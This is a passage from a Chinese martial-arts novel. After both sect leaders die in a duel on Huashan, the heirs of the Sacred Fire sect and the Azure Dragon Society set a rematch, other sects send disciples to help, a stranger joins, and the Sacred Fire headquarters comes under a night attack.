说罢,转身离去,玄业大师看了看唐梦泽,华阳道长,几人相视无语,各回帐篷休息。”那边青龙会的手下,也在一旁空地,开始搭建营帐,到了傍晚时分,唐梦泽和八王在营帐中,商量明日如何应敌。 第二天一早,唐梦泽率八王,穿着紧身衣,带好随身兵器,出了营帐,直奔华山南峰山前小路,玄业大师,华阳道长齐国威和各大门派掌门人,也从营帐出发,紧随唐梦泽之后,来到山前小路等候,功夫不大,宇文山父子也领着四魔四煞,和一众手下,来到山前小路,唐梦泽拱手道:“请玄业大师华阳道长齐帮主,和各位掌门,派人把住这山路,不得让任何人上山。”玄业大师双手合十道:“宇文会主,南峰绝顶,我一早就已经派门下弟子查看过了,现在空无一人,宇文会主若是不放心,可派人上去查看。”宇文山哈哈笑道:“我自然信得过玄业大师所言,不必派人上去看了,请玄业大师,华阳道长齐帮主按唐教主所说,封锁路口,不容任何人上山。”说罢,一挥手,身后的青龙会四魔四煞,跟着宇文山身后,顺着山路,直往南峰峰顶,唐梦泽对各大门派众首领拱手施礼,也带着圣火教八王紧随其后,直往峰顶而去,玄业大师和华阳道长一挥手,少林十八罗汉和武当派二十几名弟子从人群中走出,上前守在山路,丐帮帮主齐国威又命师弟方子进带领帮中几十名弟子,在少林,武当弟子的外围,又布下一道防线,玄业大师朗声道:“各位武林同道,圣火教教众人,青龙会众人,现在唐教主和宇文会主按武林决斗规矩,各自带领手下,在华山南峰峰顶决斗,从现在开始,任何人不能上南峰峰顶,直到获胜一方从南峰峰顶下来,现在请大家退后!可以在此等候或回营帐休息,任何人不得上山。”唐梦泽的儿子唐旭儿和徒弟沈云,到听玄业大师此言,带领圣火教中人,席地而坐,青龙会为首两人,正是宇文山的两个儿子,宇文峰宇文秀,也挥手命青龙会众人席地而坐,其他江湖各帮各派,也听从安排,退到一旁,席地而坐,静候决斗消息,众人在山下等候,功夫不大,只听见峰顶之上,不断随风传来大力怒吼之声,刀剑互击之声,山下众人是既好奇,又焦虑,也不知山上到底是什么情况,唐旭儿和师弟沈云,宇文峰和宇文秀,都是坐立不安,焦急万分,过了一天一夜,峰顶之上,只是随风传来零星的怒吼之声,刀剑互击之声,山下众人,尤其是圣火教和青龙会的人,更是忧心忡忡,心急如焚,但也都是无可奈何,只能在焦急中等待,转眼间到了第三天,山上再也听不到任何动静,唐旭儿和沈云这边急的是心乱如麻,如同热锅上蚂蚁,宇文峰和宇文秀俩兄弟,也是急着团团转,玄业大师华阳道长和齐帮主,和各大门派掌门人,看热闹的江湖同道,一个个心中也是心急如焚,第四天一早,玄业大师和华阳道长等人,正在营帐中休息,一名弟子来报:“启禀方丈,圣火教唐教主之子唐旭儿和唐教主徒儿沈云前来求见。”玄业大师道:“让他们进来吧。”片刻功夫,只见唐旭儿和沈云快步进了营帐,对玄业大师,华阳道长和诸位掌门人,拱手施礼,道:“后生小辈参见各位掌门人。”玄业大师道:“唐少教主前来,所为何事?”唐旭儿道:“方丈大师华阳道长,各位掌门人,决斗已经过了三天三夜,现在南峰峰顶上一点声响都没有,不知是否可以派人上山一趟,看个究竟?”玄业大师华阳道长丐帮帮主齐国威,三人相视一眼,心意相通,都点了点头,招呼一名少年僧人过来,玄业大师道:“你去青龙会营帐中,请宇文兄弟过来。”功夫不大,宇文峰宇文秀兄弟二人也来到营帐中,两人对玄业大师拱手施礼,宇文峰道:“不知玄业大师,唤我兄弟二人前来,有何赐教?”玄业大师道:“南峰峰顶双方决斗已经过去了三天三夜,现在峰顶寂静无声,老衲想和华阳道长齐帮主和几位掌门人,上去看一看,不知你们意下如何?”宇文兄弟这几日也是急的如热锅上蚂蚁,稍一思索,宇文峰道:“方丈大师所言极是,请方丈大师安排,带我们双方上峰顶看一看究竟。”玄业大师思索片刻,又看了看华阳道长齐国威等人,见众人都微微点头,于是道:“你们双方都不必带过多人手,宇文兄弟你们两人, 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唐少教主带着师弟,都不能携带兵器,我和华阳道长,齐帮主,各位掌门人,我们几人上峰顶看一看究竟。”唐旭儿沈云和宇文兄弟,齐声道:“谨听方丈法旨。”玄业大师站起身形,走出营帐,华阳道长齐国威,各大门派掌门人,唐旭儿沈云,宇文兄弟俩紧随其后,到了峰前山路,丐帮弟子,武当二十几名道士,少林十八罗汉,见众人前来,往两旁一闪,让开道路,众人从峰前山路开始上山,一个个面色凝重,心中都是心事重重,不由的脚步加快,大约一个时辰后,众人来到南峰峰顶之上,虽然众人心中都有各种坏的猜测,但来到峰顶之上,纵然众人都是见多识广的武林高手,但是看到峰顶上,尸横遍地,血迹斑斑,刀断剑折,圣火教和青龙会众人,一个个东倒西歪,惨死峰顶,不由的触目惊心,玄业大师双手合十,口中不停念着阿弥陀佛,华阳道长齐国威和几位掌门人,见现场如此惨烈,也不由楞在当场,唐旭儿和沈云,急步纵身,寻找唐梦泽,只见唐梦泽背靠着一块大石,已经气绝身亡,唐旭儿和沈云,跪拜在唐梦泽身边,放声痛哭,宇文兄弟俩也找到了宇文山,只见了宇文山身上,也是血迹斑斑,也已经命丧黄泉,宇文兄弟俩抱着宇文山的尸体,也是哭声震天,玄业大师华阳道长齐帮主和各位掌门人围在唐旭儿和沈云身边,不停劝慰,两边哭了许久,宇文兄弟俩纵身一跃,跳到场地中间,对唐旭儿嘶声吼道:“姓唐的,来来来,你我再决生死。”唐旭儿和沈云听见宇文兄弟的叫阵,心中怒火中烧,也起身站立,就要上前和宇文兄弟拼斗,玄业大师等人连忙上前,将双方分开,玄业大师道:“今日双方死伤众多,唐少教主宇文兄弟,你们还是先将各自门中死去之人带回安葬,让死者入土为安,纵然有深仇大恨,你们双方再约时间,解决不迟。”宇文兄弟眼含恶毒,心中暗自思量:“这少林方丈,武当掌门,丐帮帮主,各大门派掌门人,都是唐梦泽邀请而来,如若现在动手,吃亏的只怕是自己,现在他们人多势众,只是因为都是一代宗师,注重名声,所以不愿以大欺小以众欺寡,今日还是趁早罢手为好。”想到这里,宇文峰开口道:“姓唐的,我们明年五月初五,南峰峰顶,青龙会和圣火教再决生死。”唐旭儿岂甘示弱,大声回到:“好,明年五月初五,圣火教和青龙会,华山南峰再决生死。”玄业大师等人见双方已经下了战书,心知双方血海深仇,已经无法化解,只能按照武林中的规矩,双方择日再战。玄业大师道:“既然圣火教和青龙会,已经约定明年五月初五再战,那么今日双方都不得再生枝节,武当华阳道长,昆仑黄掌门,点苍派叶掌门,劳烦三位陪宇文兄弟下山,丐帮齐帮主,长白山孟掌门,劳烦两位陪唐少教主师兄弟下山,山上的尸首,由我少林寺派人搬运下山。”华阳道长齐国威等人心中知道,玄业大师怕双方人马在山上搬运尸体又起冲突,于是华阳道长对宇文兄弟道:“宇文家两兄弟,贫道和两位掌门,陪你兄弟二人下山。”宇文峰兄弟二人,满眼仇恨,恶狠狠的瞪了唐旭儿和沈云两眼,兄弟俩转身跟着华阳道长和几位掌门人下山,丐帮帮主齐国威,和长白山掌门孟晓春,等了一会后,也陪着唐旭儿和沈云,下了南峰,玄业大师紧随众人之后,来到山下,从少林寺的僧侣中,挑选了四五十名身强体壮之人,上山搬运双方尸首,大约过了三个时辰,少林寺的众僧侣将双方尸首全部搬到山下,圣火教和青龙会,各自将本方死者尸体放在刚买的棺木中,唐旭儿手扶父亲棺木,悲痛欲绝,由沈云指挥教众安排死去众人入棺,片刻功夫,沈云急匆匆来到唐旭儿身边,低声道:“师兄,师父和七王的尸首都在,唯独不见燕王苗雨燕的尸首。”唐旭儿不由得吃了一惊,低声问道;你可曾问少林寺的大师们,峰顶的尸首,是不是全部都搬下山了?”沈云低声道:“我已经问了少林寺的大师们,他们说已经将全部尸首搬下山了。”唐旭儿道:“即刻安排人手去峰顶仔细查看,务必找到燕王尸首。”沈云领命,派了得力人手,去南峰峰顶,寻找苗雨燕的尸首。青龙会宇文兄弟,安置好父亲宇文山和四魔四煞的尸首后,也不和玄业大师等人辞行,率领人马,护送着棺木,径直离去。唐旭儿这边,将父亲和七王的尸首,安排妥当,又命人前往南海炎黄岛,通知姐姐唐玉儿姐夫张志远,这边沈云带着教众在南峰峰顶附近,搜索了一天一夜,也不见燕王苗雨燕尸首,只好带着众人回来复命。唐旭儿命留下二三十人,继续搜索,其余的一百多人,护送棺木回圣火崖,待到诸事安排妥当后,唐旭儿向玄业大师等人辞行,玄业大师道:“唐少教主,令尊为了武林正义,舍身成仁,我等与令尊大人一向交好,自当跟随少教主回圣火崖,为令尊和诸王吊唁祭拜。”唐旭儿心中明白,自己带的人手,不足两百人,玄业大师等人是担心青龙会会派遣大批人手,在路上暗中伏击,所以玄业大师等人,一是为了吊唁祭拜父亲和诸王,二是防止青龙会在路上伏击自己一行人,唐旭儿心知青龙会做事,向来心狠手辣不择手段,于是也不推辞,道:“多谢方丈大师,和诸位掌门。”此次来华山见证的各大门派,来了三四百人,加上来看热闹的武林同道,江湖中人,加起来足足有上千人,大部分江湖正道中人,都敬佩唐梦泽的舍身成仁,所以除了各大门派随行外,另有几百名江湖豪杰,武林中人也跟随唐旭儿一行人,前往圣火崖吊唁拜祭唐梦泽,一路上,果然出现大批不明身份的黑衣人在暗中窥视,但是看到这近千人的队伍,浩浩荡荡,倒也不敢有所行动,众人行了十几日,终于到达圣火教圣火崖,圣火教留守的几百教众,早早在圣火崖前道路两旁,跪成长长的两排,跪拜迎接唐梦泽和七王灵柩,唐旭儿命人将父亲和七王的灵柩一起安置在灵堂,玄业大师和各大门派掌门,一同前来的武林同道同道,近千人轮流上前拜祭,圣火教中骨干,各分舵首领也有条不紊,井然有序的拜祭唐梦泽等人的灵柩,这天一早,唐旭儿和沈云等人,正在灵堂安排事务,忽听前寨传来报讯之声:“大小姐和姑爷回家了。”唐旭儿和沈云等教中骨干连忙出门迎接,只听到马蹄声疾,十几匹骏马从前寨如飞一般,直奔灵堂而来,一眨眼功夫,已经到了灵堂门前,马上骑士,勒住缰绳,为首一名女子,三十多岁,面容秀美,纵身下马,连滚带爬进了灵堂,拜倒在唐梦泽灵柩前,放声痛哭,来者正是唐梦泽的女儿唐玉儿,紧随其后的,是唐玉儿的丈夫张志远,和两个儿子,张皓光张晓光,还有十几名随从,张志远带着两个儿子和十几名随从,进了灵堂,众人俯身拜倒,三拜九叩,只见唐玉儿,哭的是撕心裂肺,肝肠寸断,唐旭儿和夫人龚雅莲忙上前劝慰,唐玉儿见到弟弟弟媳,更是悲从心起,又是哭的山河变色,五内俱裂,唐旭儿忙让妻子龚雅莲劝住姐姐,又命沈云招呼张志远父子等人旁厅入座,劝住姐姐后,唐旭儿领着姐夫张志远,去拜见少林玄业大师,武当华阳道长,丐帮帮主齐国威等一众江湖同道,江湖中人素闻炎黄岛南海神龙张志远大名,今日得以相见,都是礼敬有加,第二天,唐旭儿安排教众,将父亲和七王灵柩,送到圣火教灵坛,让父亲和七王入土为安,燕王苗雨燕的遗体确实搜寻不到,只好以衣冠建了个坟墓,众人拜祭后,回归圣火教总舵,当天傍晚,张志远夫妇到唐旭儿住处,详细询问了华山决斗的经过,唐旭儿一一如实告知,唐玉儿心中担忧,对张志远道:“夫君,明年五月初五,弟弟又要和青龙会,在华山决战,青龙会做事一向心狠手辣,不择手段,又网罗了大批□□高手,我怕弟弟他们会吃亏,还请夫君帮忙想个妥善办法。”张志远考虑片刻道:“我张家当年远遁海外,先辈也留下遗训:张家子孙,不再过问中原之事。朱明朝廷一直还在通缉我们,我们若是帮助弟弟,会不会给弟弟带了麻烦?再说按照武林规矩,圣火教和青龙会在华山决斗,只能派遣自己帮派中子弟,其他门派不能参与。”唐旭儿道:“姐姐,姐夫请放心,帮中骨干有不少是八王的后人和徒弟,我有他们做帮手,明年的华山决战,应该也没什么问题,再说明年五月初五,我们还会邀请各大门派,到华山做个见证,倒也不怕青龙会使什么阴谋诡计。”唐玉儿道:“我在南海时,也听说青龙会招揽了大批三教九流旁门左道之士,武林之中很多□□高手,都被青龙会招揽,公孙世家又在幕后暗中支持,明年的决战,我真的是放心不下。”张志远见妻子忧心忡忡,考虑了片刻道:“弟弟,明年端午的华山决战,我会亲自带领炎黄岛高手前来为你助威,若是青龙会想耍什么阴谋诡计,我定让他铩羽而归。”唐玉儿和唐旭儿夫妻素来知道张志远武艺高强,炎黄岛子弟也都是武艺高强之人,明年端午华山决战,有几大门派和张志远率炎黄岛子弟压阵,量青龙会也不敢耍阴谋诡计,唐玉儿和唐旭儿夫妻,听张志远如此一说,心中豁然开朗,唐旭儿夫妻俩,拱手施礼道:“谢谢姐姐姐夫相助之情。”唐玉儿心中的石头,这才放下一些,心中默默感激夫君的情义。 第二天,西安将军徐世兴派人送信,信中言道:“有人到西安府州府衙门,举报圣火教窝藏钦犯,州府衙门发公文,请他派兵协助,要上圣火崖搜查,徐世兴找了个借口,拖到明天再派兵。”唐旭儿心知,徐世兴是在向自己通风报信,唐旭儿不敢耽搁,立刻安排姐姐姐夫等人离开圣火崖,唐玉儿心中虽然不舍,但也体谅弟弟的苦衷,对唐旭儿夫妻千叮咛万嘱咐,洒泪而别。到了下午时分,唐旭儿和沈云和几个教中骨干,正在议事厅商量教务,教众来报:“少林武当丐帮和各大掌门,要面见教主。”唐旭儿忙带领沈云等人,出门迎接,玄业大师等人随唐旭儿进了议事厅,分宾主落座,教众敬茶后,唐旭儿道:“方丈大师和各位掌门,来此耽误日久,唐某感激不尽。”玄业大师道:“唐教主,不必客气,老衲等人商量,青龙会宇文兄弟与唐教主定下一年之约,不知唐教主作何打算?”唐旭儿道:“青龙会危害武林,荼毒百姓,无恶不作,自古正邪不两立,先父在世之时,就发誓要将青龙会铲除,不想壮志未酬身先死,我作为人子,自当为父亲完成夙愿。”玄业大师和几位掌门人听了此言,都连连点头,玄业大师道:“唐教主胸怀大志,老衲敬佩,但这青龙会搜罗了大批江湖中三教九流旁门左道之士,很多□□高手都被青龙会重金招揽,公孙世家又在幕后暗中支持,唐教主若以一教之力与之对抗,只怕会心有余而力不足。”唐旭儿道:“大丈夫做事,明知不可为而为之,方可有为。”玄业大师等人,连连点头,相互之间交换了个眼色,玄业大师道:“唐教主,按照武林规矩,圣火教和青龙会在华山决斗,只能派遣自己帮派中子弟,其他门派不能参与,老衲有一个不成才的徒孙,想加入贵教,历练一番,请唐教主允准。”唐旭儿一愣,拱手道:“玄业大师客气了,不知是哪位高僧?愿意加入敝教。”玄业大师道:“是老衲门下大弟子本空的徒儿圆慧。”说罢,转头对门外喊到:“圆慧何在?”只见一个高大僧人,昂首阔步,走了进来,只见此人,微胖面庞,身高八尺,虎背熊腰,十分威猛。玄业大师道:“这是老衲门下大弟子本空的徒儿圆慧,他幼年便在少林出家,在少林寺练武二十几载,武艺还算不弱,圆慧进得厅来,对唐旭儿拱手施礼,道:“圆慧参见唐教主。”唐旭儿拱手回礼,对玄业大师道:“方丈大师徒孙,加入敝教,敝教上下不胜荣幸。”玄业大师一挥手,圆慧迈开脚步站在一旁,这时,武当派华阳道长道:“唐教主,我也有个徒弟想加入贵教,历练一番。”唐旭儿道:“不知是道长的哪位高徒?”华阳道长道:“雷清朗何在?”大厅外走进来一人,二十多岁,皮肤白皙,五官端正,正是华阳道长的二徒弟雷清朗。”雷清朗上前对唐旭儿拱手施礼道:“在下雷清朗参见唐教主。”唐旭儿心中已然明白,知道玄业大师和华阳道长让门下弟子加入圣火教,是为了壮大圣火教实力,为明年的华山决战做好准备,唐旭儿拱手回礼道:“雷清朗兄弟,加入本教,圣火教上下,不胜荣幸。”华阳道长一挥手,雷清朗转身站在一旁,丐帮帮主齐国威也拱手施礼道:“唐教主,我师弟方子进,向来仰慕圣火教数代教主高风亮节,也想加入圣火教,历练一番。”唐旭儿拱手施礼道:“多谢齐帮主厚爱。”齐国威道。”师弟何在?”只见大厅外走进来,一名三十多岁汉子,三十出头年纪,皮肤黝黑,正是丐帮副帮主方子进,方子进上前施礼道:“方子进拜见唐教主。”唐旭儿举手回礼,道:“方副帮主,加入敝教,敝教蓬壁生辉。”此时此刻,唐旭儿心中已经明白,各大门派为了帮他对抗青龙会,为了明年华山决战,所以让门下弟子,加入日圣火教,既不违背武林决斗的规矩,又能壮大圣火教实力。点苍掌门叶凌霄拱手道:“唐教主我有个弟子,沐平番,是云南沐王府二公子,自幼喜爱行侠仗义,心中仰慕唐教主为人,愿追随教主,铲除邪恶,匡扶武林正义。”唐旭儿不由的吃了一惊,道:“沐王府的二公子,也要加入敝教?敝教真是得贵人相助。”叶凌霄道:“平番何在?”只见门外,走进一人,二十多岁,高挑个,一身紫衣,面如冠玉,温文尔雅,正是沐王府二公子沐平番,沐平番来到唐旭儿面前,拱手施礼,道:“点苍门下沐平番拜见唐教主。”唐旭儿忙拱手回礼,道:“沐二公子加入敝教,真乃敝教之幸。”接着长白山派掌门孟晓春推荐了二弟子陆秀岭,昆仑派掌门黄向东推荐了二弟子宋天雄,峨眉派弟子张矢志和陈秀娟,也挺身而出要加入圣火教,为明年端午华山决战效力,唐旭儿见各大门派推荐的人选,都是本门派当中,出类拔萃的青年英雄,心中自是感激万分,知道七大门派在用实际行动支持圣火教,唐旭儿连连拱手,施礼道谢,玄业大师道:“唐教主,不必客气,匡扶武林正义,本来就是各大门派份内之事,这几人,留在圣火教,供唐教主差遣,老衲等人在贵教打扰多日,就此告辞。”唐旭儿再三挽留,请众人吃了晚宴,明日再走。”玄业大师和各大门派掌门人,一再谢绝,领着各自门派的子弟,下山而去。唐旭儿心中感恩,带领教中骨干和新加入的几人,将各大门派众人送至圣火崖下三十里开外,双方这才分别,唐旭儿等人回到圣火崖,亲自安排,将新加入的八人安置妥当,武当派的雷清朗是杭州雷家的二公子,因父亲雷茂泉与武当派掌门华阳道长交好,所以自幼便拜在武当派华阳道长门下,学习武功,十几年来已经尽得武当剑法真传,虽然年纪才二十出头,但一手武当剑使得是炉火纯青,雷清朗仪表堂堂,器宇轩昂,长得也是一表人才,父亲雷茂泉不但是江南有名的富商,还是南方商会会长,雷清朗到圣火崖后,见到唐兰儿,此时的唐兰儿已经十七八岁,长得亭亭玉立,花容月貌,雷清朗对唐兰儿一见钟情,经常找机会与唐兰儿相处,唐旭儿夫妻沈云和几位教中首脑,还有和雷清朗一起上山的少林圆慧,昆仑宋天雄,点苍沐平番,长白陆秀岭,丐帮方子进都看在眼里,众人心中都觉得雷清朗和唐兰儿,郎才女貌,佳偶天成,是一对非常般配的好姻缘,众人都有意无意的帮助雷清朗,希望他可以和唐兰儿结一段美好姻缘,雷清朗为人豪爽,仗义疏财,和少林圆慧,昆仑宋天雄,点苍沐平番,长白陆秀岭,丐帮方子进,峨眉张矢志等人关系十分要好,这七人感觉脾气相投,相逢恨晚,于是,便结义为金兰兄弟,方子进年龄最大,成了大哥,少林圆慧排行老二,点苍沐平番排行老三,昆仑宋天雄排行老四,武当雷清朗排行老五,长白山陆秀岭排行老六,峨眉派张矢志年龄最小,排行老七。陈秀娟与龚雅莲意气相投,相逢恨晚,也结义为姐妹,这七兄弟和陈秀娟,在圣火崖潜心苦练武艺,都想明年端午华山决斗时,可以帮唐旭儿一臂之力,结义的几个兄弟和陈秀娟,都知道雷清朗对唐兰儿的心意,也都暗中出力,想撮合两人,唐旭儿夫妻对雷清朗也十分满意,于是,龚雅莲便向唐兰儿询问她对雷清朗印象如何?唐兰儿听了只是羞涩一笑,婉拒道:“父亲刚刚离世,大仇未报,明年端午圣火教和青龙会又有一场殊死搏斗,儿女之情暂且不谈。” 22. 第 22 章 第二十二章:圣火惨变 再说宇文兄弟,从华山离开之后,回到泰山青龙谷,宇文山的夫人公孙芳,义女李如玉,和留守的会众接到宇文山和四魔四煞的尸首,也是伤心欲绝,哭声震天,公孙芳带着两个儿子宇文峰宇文秀安排人手将宇文山和四魔四煞风光大葬,然后通知青龙会各地分舵,由宇文峰接任青龙会会主一职,这天,公孙芳宇文兄弟正在和会中骨干,商量事务,监视圣火崖的细作派人来报,将六大门派派遣八人加入圣火教一事,如实禀报,公孙芳和宇文兄弟听了禀报,不由的眉头紧锁,忧虑之情溢于言表,林胜拱手道:“老夫人,会主,这次六大门派派遣得力弟子加入圣火教,壮大圣火教声势,就是为了对付本会,尤其是点苍派的沐平番,是云南沐王府沐二公子,峨眉派的张矢志和陈秀娟,一个是荣国公张玉的孙子,一个是泾国公陈亨的孙女,背后有被庞大的朝廷势力,请会主早做打算。”公孙芳点点头,道:“林胜所言极是,明年五月初五,华山决战,六大门派肯定会暗中支持圣火教,尤其是沐平番,张矢志和陈秀娟等人,都是朝中达官显贵王公贵族之后,如果有什么闪失,他们背后的朝廷势力,定然不会善罢甘休,肯定会找我们青龙会的麻烦,我们确实应该早做打算,想一个万全之策。”林胜等人齐身道:“老夫人高瞻远瞩,属下敬佩万分,请老夫人和会主示下,我等赴汤蹈火万死不辞,誓死为老夫人和会主效命。”公孙芳微微点头,看了看宇文峰,眼神示意,宇文峰心领神会,道:“好,各位忠心耿耿,我心中十分清楚,待我飞鸽传书去辽东龙城,和舅舅商量个万全之计,一举歼灭圣火教。” 转眼之间,华山决斗已经过去几个月,这日,唐旭儿和教中骨干。”正在商量教中事宜,只见有一名教众匆匆进入议事厅,拱手施礼,递上一份拜帖道:“启禀:“教主,前寨来了一队人马,大约三十多人,为首一人,名叫凌风,自称是天山雪狼谷人士,要拜见教主。”唐旭儿心想这天山雪狼谷从来没有听说过,不知道凌风来圣火崖所为何事?”于是,命教众将凌风一人带到客厅相见,功夫不大,只见前寨的守卫将凌风一人带到客厅,只见这凌风,二十出头年纪,身高七尺开外,剑眉星目,玉树临风,貌似潘安,颜如宋玉,风流倜傥,是一位难得一见的美男子,双目精光闪现,太阳穴隆起,一看就是内力深厚的武林高手,凌风看见唐旭儿等人进来,连忙上前两步,拱手施礼,道:“在下天山雪狼谷凌风,特来拜见圣火教唐教主。”唐旭儿连忙拱手回礼,道:“凌公子请坐。”众人落座后,唐旭儿道:“我和凌公子素未谋面,不知凌公子今日光临敝教,有何赐教?”凌风道:“在下凌风,十几年前,家父为躲避战乱,隐居天山雪狼谷,在下听说圣火教唐梦泽教主,为了匡扶武林正义,在华山南峰峰顶,与青龙会决一死战,凌风心中不胜佩服,可惜因家中有些俗事需要处理,未能前去华山为圣火教助威,甚感遗憾,后从西域归来,听说唐梦泽教主与八王在华山南峰峰顶,舍身成仁,与青龙会主宇文山及其一众手下,同归于尽,在下对唐梦泽教主万分钦佩,后来又听青龙会和圣火教,定下明年端午华山绝顶再决雌雄,武林各大门派都派出得意弟子,青年才俊,加入圣火教,为明年的决战,尽一份正义之力,我天山雪狼谷,与圣火教同在西北,同气连枝,自然不能任由青龙会的邪恶势力插手西北诸省,荼毒百姓,所以今日我率领家中奴仆前来圣火崖,想加入圣火教,做一小卒,任由唐教主差遣,为维护武林正义,尽一份武林侠义中人的责任,请唐教主不要嫌弃。”唐旭儿听凌风说的是情真意切,心中也有些感动,唐旭儿道:“凌兄客气了,凌兄不远千里来我圣火教,想助我等一臂之力,唐某感激不尽,我和师弟等人商量之后再给凌兄回复,请凌兄见谅。”凌风呵呵一笑道:“好,我静候唐教主佳音,只盼唐教主给小弟一个机会,为西北诸省的百姓尽一份绵薄之力。”唐旭儿沈云和帮中几位首领,来到偏厅,和大家商议凌风之事,众人议论纷纷,觉得这天山雪狼谷从未了解过,凌风等人来历不明,现在不远千里前来圣火崖,要加入圣火教,众人不免心中有些疑惑,唐旭儿道:“这凌风温文尔雅,颇有君子之风,我看他双目之间,精光闪现,也是难得武林高手,如果我们拒他于千里之外,恐怕也会冷了很多武林同道侠义人士之心,现在七大门派派了八名弟子加入圣火教,天下武林皆知,无不称赞七大门派的仗义援手,我圣火教更是感激,天山雪狼谷与我们圣火教同在西北,同气连枝,现在不远千里来投奔圣火教,如果我们拒人于千里之外,只怕会寒了武林侠义人士的热心,我们现在正是招揽人才之时,我想还是请他们在教中共商义举。”众人听唐旭儿这么一说,也觉得言之有理,纷纷表示同意,唐旭儿带领众人回到会客厅,对凌风道:“感谢凌兄不远千里来我圣火教,与我等共商义举,唐某感激万分,既然凌兄愿意加入我圣火教,唐某岂有推辞之理。”凌风见唐旭儿已经同意,忙拱手施礼道:“多谢唐教主收纳我等,从今日起,定当以唐教主马首是瞻,誓死为唐教主效力。”唐旭儿道:“凌兄客气了,我让人在寨中安排一处单独的院子,供凌兄和手下人居住。”凌风谢过后,带领手下三十多人住在寨中的一个单独院子,沈云放心不下,晚上单独找到唐旭儿道:“师兄,这凌风武艺超群,但是来历不明,所带之人都是武林高手,还望师兄稳妥行事,查清楚他们的来历。”唐旭儿点点头,第二天悄悄派人去天山雪狼谷核实凌风等人的来历,大约一个月左右,派去打探的手下向唐旭儿禀报:“找到天山雪狼谷,问周边的百姓,周边的百姓说:“十几年前确实有人因为躲避战乱,来此谷居住,不知道为什么一个多月前,全部离开了雪狼谷。”唐旭儿心想凌风所言属实,这才放下心来。凌风为人待物,谦逊有礼,来圣火教一个月左右,就和很多教众结交为好友。光阴似箭,日月如梭,转眼之间已经到了九月初九,唐旭儿举行教主登基仪式,武林各大门派都派人过来祝贺,圣火崖上,群英汇聚,热闹非凡,唐旭儿教主登基后,册封十二大天尊,唐旭儿将十二大天尊令取出,自己留了一块最大的光明天尊令,然后将御风令赐予凌风,将凌风封为御风天尊,将行云令赐予沈云,封沈云为行云天尊,将追月令赐予妹妹唐兰儿,封唐兰儿为追月天尊,将星斗令赐予方子进,封方子进为星斗天尊,将赤金令赐予少林圆慧,封圆慧为赤金天尊,将紫木令赐予点苍沐平番,封沐平番为紫木天尊,将碧水令赐予昆仑宋天雄,封宋天雄为碧水天尊,将烈火令赐予雷清朗,封雷清朗为烈火天尊。”将运土令赐予长白山派陆秀岭,封陆秀岭为运土天尊。”将红花令赐予陈秀娟,封陈秀娟为红花天尊,将绿叶令赐予张矢志,封张矢志为绿叶天尊,又将各地分舵整合为三十六分舵,唐旭儿亲自率领圣火崖总舵,并将拱卫圣火崖的西安,汉中,天水三处分舵,也归自己亲自管辖,其他分舵,由每位天尊各督导三处分舵,又册封了教中各地分舵舵主,这三十六处分舵首脑,都是教中忠心耿耿,阅历丰富,武艺超群之辈,众人领封后,都以圣火教历代教主之名起誓,发誓永远忠于圣火教,铲除邪恶,维护武林正义。唐旭儿道:“我今日能当教主,全赖教中叔伯和各大门派的鼎力支持,若日后我有失职失德之处,可凭九枚天尊令,将教主免职。” 转眼之间,到了第二年的元宵节,唐旭儿正在后寨陪妻子龚雅莲,此时的龚雅莲已经即将生产,所以唐旭儿将教中事务,交给沈云打理,自己安心陪着妻子,正在此时,有随从来报:“教主,星斗天尊方子进求见。”唐旭儿一听,命人请方子进入内,方子进来到大厅,拱手行礼,道:“属下方子进拜见教主。”唐旭儿道:“方大哥不必客气,请坐下叙话。”方子进谢座后,道:“禀报教主,近日听到江湖传闻,有东瀛倭寇,想趁着二月二春耕节抢夺东海一带渔村,浙江武林同道已经发出英雄帖,广邀武林同道前去杭州迎击倭寇,我教是否派人前往支援?”请教主示下。”方子进原来是丐帮副帮主,丐帮消息天下第一灵通,所以方子进得知消息后,立刻来禀报唐旭儿,唐旭儿闻听,勃然大怒道:“这些倭寇,屡屡抢夺渔民财物,实是可恨,这次竟然趁春耕节时间妄图抢劫东海一带的渔村,我中原武林人士,自然不能让倭寇阴谋得逞,传我号令,我圣火教高手全部出动,前往杭州消灭倭寇,定要让那倭寇有来无回,方大哥,你去通知沈云,备好马匹,我带着教中兄弟们前往杭州东海,定要杀的倭寇片甲不留。”方子进道:“教主,夫人即将临产,教主不宜远行,还是我带众兄弟前往,必定杀的倭寇屁滚尿流。”唐旭儿一想,妻子即将临产,自己确实不宜远行,于是传令:“命方子进率领御风天尊凌风,追月天尊唐兰儿,赤金天尊圆慧,紫木天尊沐平番,碧水天尊宋天雄,烈火天尊雷清朗,运土天尊陆秀岭,红花天尊陈秀娟,绿叶天尊张矢志和教中五行卫一千好手,立刻出发,直奔杭州东海,自己和行云天尊沈云,率领几百教众留守圣火崖总坛。转眼间,方子进等人已经出发,已有十几天时间,二月初一傍晚,唐旭儿让沈云安排人手站岗放哨,警戒护卫,唐旭儿因妻子正在临产,所以在后寨和接生婆,丫鬟安排妻子生产之事,后面内室中,接生婆正忙忙碌碌,而教主夫人龚雅莲正满头大汗,奋力配合接生婆的指引,唐旭儿满脸焦虑,在中堂回来踱步,忽听得一声婴儿啼哭,一个丫鬟兴冲冲跑进来,大声道:“恭喜教主,喜得贵子,夫人和少爷母子平安。”唐旭儿闻言大喜,连声说:“好,好,所有人等,重重有赏。”一旁侍立的沈云也上前给唐旭儿道喜,正在此时,忽听到前寨警哨大作,唐旭儿和沈云大惊,唐旭儿吩咐沈云立刻前去查看,沈云展开身形,带着几个护卫直奔前寨,只听得前寨的教众不断惨叫,显然伤亡惨重,唐旭儿心中大惑,心想圣火教总舵机关重重,怎么来敌势如破竹,眼看就要攻陷前寨,忽然看见沈云身上血迹斑斑,冲来进来,道:“教主,不好,大批黑衣人人来犯,不知是何方人马?”唐旭儿心中一惊,这大批黑衣人深夜突然来袭,定然知道圣火教总舵空虚,前来偷袭,前寨防备森严,加上天险,没想到敌人竟来的如此迅猛,夫人龚雅莲在内室,已听闻教中生变,不顾产后辛劳,抱着儿子来到中厅,问到:“夫君,敌人如此清楚我教总舵人手空虚,对前寨天险机关都可以避开,只怕教中有内奸为敌人通风报信。”唐旭儿心中一想,已知夫人所说有理,沈云对唐旭儿夫妻说:“教主请携夫人和少教主,从秘道逃生,以图后事,我带兄弟们断后。”唐旭儿对夫人道:“夫人,你带孩子先走,我随后就来找你们。”龚雅莲道:“夫君,你和我们母子一起走。”唐旭儿摇摇头道:“夫人,我曾在圣火教历代教主灵前发誓:教在人在,教毁人亡,前寨的兄弟们正在血战,我怎能弃他们而去?我宁可以死护教,也不能苟且偷生。”龚雅莲知道丈夫性格,坚勇刚毅说一不二,绝不会丢下教众独自逃生,她想了想,走进内室,取了一块